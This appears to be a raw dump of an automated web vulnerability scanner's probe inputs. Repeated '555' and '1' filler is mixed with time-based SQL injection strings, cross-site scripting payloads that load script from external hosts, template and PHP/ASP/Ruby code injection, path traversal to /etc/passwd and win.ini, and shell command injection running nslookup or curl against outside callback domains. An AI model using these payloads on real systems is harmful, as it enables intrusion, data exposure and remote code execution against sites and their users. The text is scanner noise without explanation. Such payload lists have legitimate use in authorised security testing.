555gzY5UI0N'; waitfor delay '0:0:15' --
555-1 OR 186=(SELECT 186 FROM PG_SLEEP(15))--
555-1) OR 554=(SELECT 554 FROM PG_SLEEP(15))--
555-1)) OR 505=(SELECT 505 FROM PG_SLEEP(15))--
555ltMd4x3g' OR 421=(SELECT 421 FROM PG_SLEEP(15))--
555A1Oa9pBH') OR 87=(SELECT 87 FROM PG_SLEEP(15))--
555Na06zxWN')) OR 119=(SELECT 119 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@wlOep
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >Buzh(9154)</ScRiPt>
'"()&%<zzz><ScRiPt >Buzh(9579)</ScRiPt>
5559602893
555
bfg5708%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5708
555
bfgx5768%C0%BEz1%C0%BCz2a%90bcxhjl5768
555
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
555
dfb__${98991*97996}__::.x
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555<ScRiPt >Buzh(9132)</ScRiPt>
555
555<WJPM0Q>EFYP9[!+!]</WJPM0Q>
555
555<script>Buzh(9353)</script>
555
555<script>Buzh(9545)</script>9545
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%42%75%7A%68%28%39%30%38%35%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555<ScRiPt >Buzh(9955)</ScRiPt>
555
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9745></ScRiPt>
555
555< ScRiPt >Buzh(9454)</ScRiPt>
555
555<isindex type=image src=1 onerror=Buzh(9774)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9964'>
555
555<body onload=Buzh(9017)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=Buzh(9666)>
555
555<img src=xyz OnErRor=Buzh(9794)>
555
555<img/src=">" onerror=alert(9497)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%42%75%7A%68%289760%29%3C%2F%73%43%72%69%70%54%3E
555
555
555\u003CScRiPt\Buzh(9000)\u003C/sCripT\u003E
555
555<ScRiPt>Buzh(9765)</sCripT>
555
555
555<input autofocus onfocus=Buzh(9066)>
555
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
555
555}body{zzz:Expre/**/SSion(Buzh(9910))}
5552tDM7 <ScRiPt >Buzh(9504)</ScRiPt>
555
555<WWFRTD>FGBOE[!+!]</WWFRTD>
555
555<ifRAme sRc=9106.com></IfRamE>
555
555<a4wE9BA x=9716>
555<img sRc='http://attacker-9655/log.php?
555
555<a0EvKls<
555
555
555
555
555'"()&%<zzz><ScRiPt >xdQM(9879)</ScRiPt>
'"()&%<zzz><ScRiPt >xdQM(9410)</ScRiPt>
5559100974
555
bfg8379%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8379
555
bfgx3393%C0%BEz1%C0%BCz2a%90bcxhjl3393
555
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
555
dfb[[${98991*97996}]]xca
555
dfb__${98991*97996}__::.x
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555<ScRiPt >xdQM(9270)</ScRiPt>
555
555<W99BMW>2IWZO[!+!]</W99BMW>
555
555<script>xdQM(9753)</script>
555
555<script>xdQM(9708)</script>9708
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%78%64%51%4D%28%39%33%34%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555<ScRiPt >xdQM(9374)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9356></ScRiPt>
555
555< ScRiPt >xdQM(9267)</ScRiPt>
555
555
555<isindex type=image src=1 onerror=xdQM(9307)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9750'>
555
555<body onload=xdQM(9564)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=xdQM(9326)>
555<img src=xyz OnErRor=xdQM(9969)>
555
555<img/src=">" onerror=alert(9910)>
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%78%64%51%4D%289485%29%3C%2F%73%43%72%69%70%54%3E
555
555\u003CScRiPt\xdQM(9945)\u003C/sCripT\u003E
555
555
555<ScRiPt>xdQM(9305)</sCripT>
555
555<input autofocus onfocus=xdQM(9454)>
555
<a HrEF=http://xss.bxss.me></a>
555
<a HrEF=jaVaScRiPT:>
555}body{zzz:Expre/**/SSion(xdQM(9496))}
555
555
5550R1kT <ScRiPt >xdQM(9048)</ScRiPt>
555
555<WFFS3M>CDOLF[!+!]</WFFS3M>
555<ifRAme sRc=9195.com></IfRamE>
555
555<ao1LjOm x=9695>
555
555<img sRc='http://attacker-9296/log.php?
555
555<a3GDZVp<
555
555
555
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
1MEskmeIO
1
555
1
555
555
1
555
555
1
555
555
555
1
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
)
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
!(()&&!|*|*|
/etc/shells
^(#$!@#$)(()))******
../../../../../../../../../../../../../../etc/shells
c:/windows/win.ini
bxss.me
555
555
555
555
555
555
555
555
555
${10000032+9999235}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9484111*9340367)
555
555
555
'+response.write(9484111*9340367)+'
555
"+response.write(9484111*9340367)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo kjtpgw$()\ sfdgfz\nz^xyu||a #' &echo kjtpgw$()\ sfdgfz\nz^xyu||a #|" &echo kjtpgw$()\ sfdgfz\nz^xyu||a #
555
555
&echo uqmprr$()\ maxiti\nz^xyu||a #' &echo uqmprr$()\ maxiti\nz^xyu||a #|" &echo uqmprr$()\ maxiti\nz^xyu||a #
cfEj611B
555&echo rsikei$()\ ajqzoa\nz^xyu||a #' &echo rsikei$()\ ajqzoa\nz^xyu||a #|" &echo rsikei$()\ ajqzoa\nz^xyu||a #
|echo abexzn$()\ serrnl\nz^xyu||a #' |echo abexzn$()\ serrnl\nz^xyu||a #|" |echo abexzn$()\ serrnl\nz^xyu||a #
555
Gy4QxAeU: 1VHwSfAK
555|echo tezcgc$()\ nqqjsg\nz^xyu||a #' |echo tezcgc$()\ nqqjsg\nz^xyu||a #|" |echo tezcgc$()\ nqqjsg\nz^xyu||a #
555
555
(nslookup -q=cname hitctujnnlxuf106fd.bxss.me||curl hitctujnnlxuf106fd.bxss.me))
$(nslookup -q=cname hittxrmzketqv95840.bxss.me||curl hittxrmzketqv95840.bxss.me)
555
555
&nslookup -q=cname hitgwuuvjjzfr84e05.bxss.me&'\"`0&nslookup -q=cname hitgwuuvjjzfr84e05.bxss.me&`'
555
555
&(nslookup -q=cname hitrvzwfiyisef1733.bxss.me||curl hitrvzwfiyisef1733.bxss.me)&'\"`0&(nslookup -q=cname hitrvzwfiyisef1733.bxss.me||curl hitrvzwfiyisef1733.bxss.me)&`'
555
|(nslookup -q=cname hitcmlenvrbvqf65be.bxss.me||curl hitcmlenvrbvqf65be.bxss.me)
555
../../../../../../../../../../../../../../etc/passwd
`(nslookup -q=cname hitgunkqraaapc9420.bxss.me||curl hitgunkqraaapc9420.bxss.me)`
555
;(nslookup -q=cname hitryslegowbga8769.bxss.me||curl hitryslegowbga8769.bxss.me)|(nslookup -q=cname hitryslegowbga8769.bxss.me||curl hitryslegowbga8769.bxss.me)&(nslookup -q=cname hitryslegowbga8769.bxss.me||curl hitryslegowbga8769.bxss.me)
555
../../../../../../../../../../../../../../windows/win.ini
|(nslookup${IFS}-q${IFS}cname${IFS}hitecryrzyztr63e2a.bxss.me||curl${IFS}hitecryrzyztr63e2a.bxss.me)
file:///etc/passwd
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitneqxhyhcyg86fa6.bxss.me||curl${IFS}hitneqxhyhcyg86fa6.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitneqxhyhcyg86fa6.bxss.me||curl${IFS}hitneqxhyhcyg86fa6.bxss.me)&`'
555
555
555
../555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitzm'.'sopyfyxc36aea.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(66).chr(111).chr(79).'
555
555
555
"+"A".concat(70-3).concat(22*4).concat(119).concat(69).concat(108).concat(73)+(require"socket" Socket.gethostbyname("hiteb"+"ajimhsoa9cb0f.bxss.me.")[3].to_s)+"
".gethostbyname(lc("hitrz"."oqsaryjg2f530.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(85).chr(98).chr(77)."
555
'+'A'.concat(70-3).concat(22*4).concat(97).concat(67).concat(114).concat(82)+(require'socket' Socket.gethostbyname('hitsh'+'rswduyvy065f0.bxss.me.')[3].to_s)+'
555
gethostbyname(lc('hitgr'.'xrxkhzylc8851.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(76).chr(111).chr(86)
'A'.concat(70-3).concat(22*4).concat(108).concat(81).concat(122).concat(67)+(require'socket' Socket.gethostbyname('hitnj'+'zpapbbnh0a555.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
'"
555
555
<!--
555
'"()
555
555
555'&&sleep(27*1000)*mvaxvp&&'
555
555
555"&&sleep(27*1000)*hgywlg&&"
555
555
555'||sleep(27*1000)*jhuxro||'
555
555
555"||sleep(27*1000)*fejifu||"
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
';print(md5(31337));$a='
";print(md5(31337));$a="
555
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
<?php print(md5(31337));?>
'{${print(md5(31337))}}'
print(md5(31337));//
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555E9s2aM7n'; waitfor delay '0:0:15' --
555-1 OR 938=(SELECT 938 FROM PG_SLEEP(15))--
555-1) OR 679=(SELECT 679 FROM PG_SLEEP(15))--
555-1)) OR 637=(SELECT 637 FROM PG_SLEEP(15))--
555Gseb1PXK' OR 717=(SELECT 717 FROM PG_SLEEP(15))--
555QicIfUBY') OR 545=(SELECT 545 FROM PG_SLEEP(15))--
1
5559rNB184l')) OR 843=(SELECT 843 FROM PG_SLEEP(15))--
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
555'"
@@OF8xI
1
555
1
555
1
1
1
1
1
1
555
555
555
555
555
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
1
1
1
1
1
1
1
1
1
555
1
1vC60pTCO
555
555
555
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
)
Http://bxss.me/t/fit.txt
!(()&&!|*|*|
http://bxss.me/t/fit.txt%3F.jpg
555
/etc/shells
${10000367+9999882}
^(#$!@#$)(()))******
../../../../../../../../../../../../../../etc/shells
555
c:/windows/win.ini
555
bxss.me
555
555
555
555
555
555
555
555
555
555
555
response.write(9561020*9053304)
555
'+response.write(9561020*9053304)+'
"+response.write(9561020*9053304)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
HEdXSAUQ
Ifl30m86: MKfymsFI
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
echo qxpjdf$()\ ihhrjm\nz^xyu||a #' &echo qxpjdf$()\ ihhrjm\nz^xyu||a #|" &echo qxpjdf$()\ ihhrjm\nz^xyu||a #
555
&echo qngpqz$()\ kyjzqw\nz^xyu||a #' &echo qngpqz$()\ kyjzqw\nz^xyu||a #|" &echo qngpqz$()\ kyjzqw\nz^xyu||a #
555
555&echo zowdnp$()\ gvxysp\nz^xyu||a #' &echo zowdnp$()\ gvxysp\nz^xyu||a #|" &echo zowdnp$()\ gvxysp\nz^xyu||a #
|echo pvvzxi$()\ wmqevb\nz^xyu||a #' |echo pvvzxi$()\ wmqevb\nz^xyu||a #|" |echo pvvzxi$()\ wmqevb\nz^xyu||a #
555|echo yraehe$()\ mrjwhd\nz^xyu||a #' |echo yraehe$()\ mrjwhd\nz^xyu||a #|" |echo yraehe$()\ mrjwhd\nz^xyu||a #
555
(nslookup -q=cname hithkylqwjaya7961c.bxss.me||curl hithkylqwjaya7961c.bxss.me))
555
555
$(nslookup -q=cname hitunyahkidsg51769.bxss.me||curl hitunyahkidsg51769.bxss.me)
555
555
555
&nslookup -q=cname hitxofbmeldbb51558.bxss.me&'\"`0&nslookup -q=cname hitxofbmeldbb51558.bxss.me&`'
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
&(nslookup -q=cname hitvlkxmdnqhd9da14.bxss.me||curl hitvlkxmdnqhd9da14.bxss.me)&'\"`0&(nslookup -q=cname hitvlkxmdnqhd9da14.bxss.me||curl hitvlkxmdnqhd9da14.bxss.me)&`'
555
555
|(nslookup -q=cname hitbyqckftoev12566.bxss.me||curl hitbyqckftoev12566.bxss.me)
../../../../../../../../../../../../../../etc/passwd
`(nslookup -q=cname hitberpxtuzul1ab18.bxss.me||curl hitberpxtuzul1ab18.bxss.me)`
../../../../../../../../../../../../../../windows/win.ini
;(nslookup -q=cname hitldkskyvxpw40111.bxss.me||curl hitldkskyvxpw40111.bxss.me)|(nslookup -q=cname hitldkskyvxpw40111.bxss.me||curl hitldkskyvxpw40111.bxss.me)&(nslookup -q=cname hitldkskyvxpw40111.bxss.me||curl hitldkskyvxpw40111.bxss.me)
555
|(nslookup${IFS}-q${IFS}cname${IFS}hithyvinajtfe1cd2d.bxss.me||curl${IFS}hithyvinajtfe1cd2d.bxss.me)
file:///etc/passwd
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitlagybfnkjn9c0c3.bxss.me||curl${IFS}hitlagybfnkjn9c0c3.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitlagybfnkjn9c0c3.bxss.me||curl${IFS}hitlagybfnkjn9c0c3.bxss.me)&`'
../555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitks'.'ejqoydqy1d083.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(67).chr(120).chr(84).'
555
555
".gethostbyname(lc("hitfl"."oashkwjs61982.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(74).chr(119).chr(88)."
"+"A".concat(70-3).concat(22*4).concat(99).concat(77).concat(97).concat(70)+(require"socket" Socket.gethostbyname("hitzv"+"ifmxbnqt8a3a8.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(110).concat(79).concat(115).concat(82)+(require'socket' Socket.gethostbyname('hitsu'+'ctftrksp6f802.bxss.me.')[3].to_s)+'
'A'.concat(70-3).concat(22*4).concat(104).concat(73).concat(97).concat(90)+(require'socket' Socket.gethostbyname('hithf'+'ojizbgadeba6a.bxss.me.')[3].to_s)
555
gethostbyname(lc('hitkt'.'empvqwry808d6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(66).chr(120).chr(86)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
'"()
555'&&sleep(27*1000)*zfzcgg&&'
xfs.bxss.me
555
555"&&sleep(27*1000)*mnrtnl&&"
555
555
555'||sleep(27*1000)*gglqux||'
555
555
555
555"||sleep(27*1000)*tcbyzc||"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"
555
555
<!--
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
555
555
';print(md5(31337));$a='
555
";print(md5(31337));$a="
555
555
555
555
555
${@print(md5(31337))}
555
555
555
${@print(md5(31337))}\
555
555
555
'.print(md5(31337)).'
555
<?php print(md5(31337));?>
'{${print(md5(31337))}}'
555
print(md5(31337));//
{php}print(md5(31337));{/php}
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555ttxSIe1k'; waitfor delay '0:0:15' --
555-1 OR 561=(SELECT 561 FROM PG_SLEEP(15))--
555
555
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
5558zfGaZZx'; waitfor delay '0:0:15' --
555-1 OR 53=(SELECT 53 FROM PG_SLEEP(15))--
555-1) OR 515=(SELECT 515 FROM PG_SLEEP(15))--
555-1)) OR 988=(SELECT 988 FROM PG_SLEEP(15))--
1
555W1yb3fzt' OR 936=(SELECT 936 FROM PG_SLEEP(15))--
1
555Ek7gMgxx') OR 758=(SELECT 758 FROM PG_SLEEP(15))--
1
555401KU1RE')) OR 593=(SELECT 593 FROM PG_SLEEP(15))--
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@8vHjQ
1
555
1
555
1
1
1
1
1
1
1
1
1
1
1
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
555
1FYCmKCcO
555
555
555
555
555
555
555
555
555
555
555
555
)
!(()&&!|*|*|
555
^(#$!@#$)(()))******
555
555
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
555
555
555
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555
555
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555
555*if(now()=sysdate(),sleep(15),0)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555-1; waitfor delay '0:0:15' --
555*if(now()=sysdate(),sleep(15),0)
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555-1); waitfor delay '0:0:15' --
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1 waitfor delay '0:0:15' --
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
555-1; waitfor delay '0:0:15' --
555FpK3Ghni'; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1); waitfor delay '0:0:15' --
555-1 OR 632=(SELECT 632 FROM PG_SLEEP(15))--
555-1; waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555-1) OR 104=(SELECT 104 FROM PG_SLEEP(15))--
555-1); waitfor delay '0:0:15' --
5550bb8YkU0'; waitfor delay '0:0:15' --
555-1)) OR 41=(SELECT 41 FROM PG_SLEEP(15))--
555-1 waitfor delay '0:0:15' --
555-1 OR 914=(SELECT 914 FROM PG_SLEEP(15))--
555IBEbEXYX' OR 857=(SELECT 857 FROM PG_SLEEP(15))--
5557J9D0QiR'; waitfor delay '0:0:15' --
555-1) OR 304=(SELECT 304 FROM PG_SLEEP(15))--
5552gchqfmp') OR 224=(SELECT 224 FROM PG_SLEEP(15))--
555-1 OR 406=(SELECT 406 FROM PG_SLEEP(15))--
555-1)) OR 84=(SELECT 84 FROM PG_SLEEP(15))--
555RonHqpaV')) OR 789=(SELECT 789 FROM PG_SLEEP(15))--
555-1) OR 66=(SELECT 66 FROM PG_SLEEP(15))--
555i2fbKb7X' OR 108=(SELECT 108 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555-1)) OR 779=(SELECT 779 FROM PG_SLEEP(15))--
555iJBU4Ejx') OR 709=(SELECT 709 FROM PG_SLEEP(15))--
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555nmNzETkj' OR 704=(SELECT 704 FROM PG_SLEEP(15))--
555'"
555
555
555
555
555
555
555
555
555
${9999136+9999975}
555
555
)
555
555
555
!(()&&!|*|*|
555
^(#$!@#$)(()))******
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
555
555
555
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
555
response.write(9307598*9556382)
/etc/shells
555
../../../../../../../../../../../../../../etc/shells
'+response.write(9307598*9556382)+'
555
c:/windows/win.ini
555
"+response.write(9307598*9556382)+"
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
0yCFsZ5v
555
555
555
UNXjjMUh: Lunhcmre
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
echo talzoq$()\ agfiuf\nz^xyu||a #' &echo talzoq$()\ agfiuf\nz^xyu||a #|" &echo talzoq$()\ agfiuf\nz^xyu||a #
555
&echo yxcxph$()\ sgjsop\nz^xyu||a #' &echo yxcxph$()\ sgjsop\nz^xyu||a #|" &echo yxcxph$()\ sgjsop\nz^xyu||a #
555
555
555
555
555&echo lfcyjq$()\ zwahgu\nz^xyu||a #' &echo lfcyjq$()\ zwahgu\nz^xyu||a #|" &echo lfcyjq$()\ zwahgu\nz^xyu||a #
555
555
555
555
|echo qlybsg$()\ ediifi\nz^xyu||a #' |echo qlybsg$()\ ediifi\nz^xyu||a #|" |echo qlybsg$()\ ediifi\nz^xyu||a #
555
555
555|echo owishr$()\ llnedt\nz^xyu||a #' |echo owishr$()\ llnedt\nz^xyu||a #|" |echo owishr$()\ llnedt\nz^xyu||a #
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
../../../../../../../../../../../../../../etc/passwd
555
(nslookup -q=cname hitqxiscnzcpfe62c2.bxss.me||curl hitqxiscnzcpfe62c2.bxss.me))
555
555
$(nslookup -q=cname hitkwxeccwibi537a2.bxss.me||curl hitkwxeccwibi537a2.bxss.me)
../../../../../../../../../../../../../../windows/win.ini
555
&nslookup -q=cname hitpznxbwonyc03b24.bxss.me&'\"`0&nslookup -q=cname hitpznxbwonyc03b24.bxss.me&`'
'.gethostbyname(lc('hitnk'.'wmkctxkvb947d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(77).chr(108).chr(88).'
555
file:///etc/passwd
&(nslookup -q=cname hitfxsfmurnux688f4.bxss.me||curl hitfxsfmurnux688f4.bxss.me)&'\"`0&(nslookup -q=cname hitfxsfmurnux688f4.bxss.me||curl hitfxsfmurnux688f4.bxss.me)&`'
".gethostbyname(lc("hitug"."bhcfsdtg07bdd.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(76).chr(102).chr(77)."
|(nslookup -q=cname hitidtishmlgge1a61.bxss.me||curl hitidtishmlgge1a61.bxss.me)
gethostbyname(lc('hitvx'.'ivgzzwnze0ba1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(65).chr(116).chr(86)
555
555
`(nslookup -q=cname hitblbnmtewxz95909.bxss.me||curl hitblbnmtewxz95909.bxss.me)`
555
;(nslookup -q=cname hitqjfhngfgfk5f2b0.bxss.me||curl hitqjfhngfgfk5f2b0.bxss.me)|(nslookup -q=cname hitqjfhngfgfk5f2b0.bxss.me||curl hitqjfhngfgfk5f2b0.bxss.me)&(nslookup -q=cname hitqjfhngfgfk5f2b0.bxss.me||curl hitqjfhngfgfk5f2b0.bxss.me)
555
../555
|(nslookup${IFS}-q${IFS}cname${IFS}hitwcxhctvbyka8253.bxss.me||curl${IFS}hitwcxhctvbyka8253.bxss.me)
&(nslookup${IFS}-q${IFS}cname${IFS}hitrryhkiavou8047c.bxss.me||curl${IFS}hitrryhkiavou8047c.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitrryhkiavou8047c.bxss.me||curl${IFS}hitrryhkiavou8047c.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(97).concat(66).concat(97).concat(90)+(require"socket" Socket.gethostbyname("hityn"+"mcmecjgj75608.bxss.me.")[3].to_s)+"
555
555
'+'A'.concat(70-3).concat(22*4).concat(103).concat(83).concat(102).concat(82)+(require'socket' Socket.gethostbyname('hitkm'+'tkeikbmsac37a.bxss.me.')[3].to_s)+'
555
555
